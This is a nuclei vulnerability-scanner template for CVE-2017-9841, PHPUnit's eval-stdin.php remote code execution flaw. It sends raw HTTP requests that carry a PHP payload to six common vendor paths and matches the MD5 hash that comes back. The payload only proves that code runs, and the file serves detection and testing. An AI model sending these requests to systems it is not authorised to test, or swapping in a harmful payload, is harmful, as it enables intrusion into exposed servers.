nuclei-templates/cves/2017/CVE-2017-9841.yaml

id: CVE-2017-9841

info:
  name: CVE-2017-9841
  author: Random_Robbie,pikpikcu
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  tags: cve,cve2017,php,phpunit,rce
  reference: |
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976

requests:

  - raw:
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Connection: close
        Content-Length: 17
        Accept: */*
        Accept-Language: en
        Content-Type: text/html
        Accept-Encoding: gzip, deflate

        <?php echo md5(phpunit_rce);?>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "6dd70f16549456495373a337e6708865"
        part: body

      - type: status
        status:
          - 200